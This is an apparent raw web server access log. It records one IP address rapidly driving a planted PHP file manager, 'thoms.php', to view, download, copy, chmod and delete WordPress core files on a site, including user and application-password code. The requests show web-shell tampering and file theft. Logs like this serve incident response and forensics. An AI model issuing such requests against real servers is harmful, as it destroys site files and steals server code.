45.135.193.11 - - [11/Sep/2026:23:10:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:35 -0400] "GET /thoms.php?chmod=ms-default-constants.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcustomize&p= HTTP/1.1" 200 11967 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11837 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:35 -0400] "GET /thoms.php?del=pluggable-deprecated.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=pluggable-deprecated.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:35 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=view-config.php HTTP/1.1" 200 17543 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=view-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:35 -0400] "GET /thoms.php?del=class-wp-block-patterns-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57891 "http://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:35 -0400] "GET /thoms.php?chmod=class-wp-block.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:35 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fjs HTTP/1.1" 200 29901 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:35 -0400] "GET /thoms.php?dl=wp-diff.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57879 "http://163.245.207.76:443/thoms.php?dl=wp-diff.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:35 -0400] "GET /thoms.php?chmod=class-wp-comment-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:35 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php HTTP/1.1" 200 14943 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftheme-compat&p= HTTP/1.1" 200 11979 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:36 -0400] "GET /thoms.php?chmod=class-wp-icons-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icons-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:36 -0400] "GET /thoms.php?dl=class-wp-tax-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-tax-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:36 -0400] "GET /thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:36 -0400] "GET /thoms.php?dl=class-wp-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?dl=class-wp-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:36 -0400] "GET /thoms.php?dl=version.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57937 "http://163.245.207.76:443/thoms.php?dl=version.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:36 -0400] "GET /thoms.php?del=class-wp-block-metadata-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57898 "http://163.245.207.76:443/thoms.php?del=class-wp-block-metadata-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:36 -0400] "GET /thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57940 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:37 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php HTTP/1.1" 200 14106 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:36 -0400] "GET /thoms.php?del=class-wp-comment.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57874 "http://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:37 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-object-cache.php HTTP/1.1" 200 16406 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:37 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php HTTP/1.1" 200 13189 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:37 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class.wp-scripts.php HTTP/1.1" 200 12098 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:37 -0400] "GET /thoms.php?del=build&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57922 "http://163.245.207.76:443/thoms.php?del=build&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:37 -0400] "GET /thoms.php?del=sodium_compat&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?del=sodium_compat&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:37 -0400] "GET /thoms.php?dl=class-wp-date-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57544 "http://163.245.207.76:443/thoms.php?dl=class-wp-date-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:37 -0400] "GET /thoms.php?dl=class-wp-http-requests-hooks.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57939 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:38 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=feed-rss.php HTTP/1.1" 200 12528 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=feed-rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:38 -0400] "GET /thoms.php?dl=class-wp-user.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-user.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:38 -0400] "GET /thoms.php?del=class.wp-scripts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:38 -0400] "GET /thoms.php?del=abilities.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?del=abilities.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:39 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-role.php HTTP/1.1" 200 12748 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:38 -0400] "GET /thoms.php?del=class-wp-connector-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-connector-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:39 -0400] "GET /thoms.php?dl=class-wp-image-editor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:39 -0400] "GET /thoms.php?chmod=revision.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:39 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-phpass.php HTTP/1.1" 200 14618 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:39 -0400] "GET /thoms.php?chmod=functions.wp-styles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:39 -0400] "GET /thoms.php?chmod=json-schema.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=json-schema.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:39 -0400] "GET /thoms.php?chmod=meta.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=meta.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:39 -0400] "GET /thoms.php?dl=class-wp-rewrite.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57937 "http://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:39 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-network.php HTTP/1.1" 200 13403 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:40 -0400] "GET /thoms.php?chmod=rest-api.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:40 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-post-type.php HTTP/1.1" 200 20042 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:40 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=embed.php HTTP/1.1" 200 24798 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:40 -0400] "GET /thoms.php?dl=class-wp-block-editor-context.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:40 -0400] "GET /thoms.php?del=class-wp-recovery-mode.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57708 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:40 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:40 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fwidgets HTTP/1.1" 200 16148 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:40 -0400] "GET /thoms.php?dl=feed-atom-comments.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57914 "http://163.245.207.76:443/thoms.php?dl=feed-atom-comments.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:40 -0400] "GET /thoms.php?dl=class-wp-token-map.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:40 -0400] "GET /thoms.php?del=ms-settings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57600 "http://163.245.207.76:443/thoms.php?del=ms-settings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:41 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=comment-template.php HTTP/1.1" 200 39092 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:41 -0400] "GET /thoms.php?chmod=ms-site.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=ms-site.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:41 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fversion.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11862 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fversion.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:42 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fphp-ai-client HTTP/1.1" 200 13121 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fphp-ai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:41 -0400] "GET /thoms.php?dl=class-wp-application-passwords.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-application-passwords.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:41 -0400] "GET /thoms.php?dl=embed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=embed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:41 -0400] "GET /thoms.php?del=global-styles-and-settings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:42 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=abilities.php HTTP/1.1" 200 14852 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=abilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:42 -0400] "GET /thoms.php?dl=category.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=category.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:42 -0400] "GET /thoms.php?del=class-wp-roles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-roles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:42 -0400] "GET /thoms.php?dl=rest-api.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?dl=rest-api.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:42 -0400] "GET /thoms.php?del=user.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=user.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Futf8.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Futf8.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
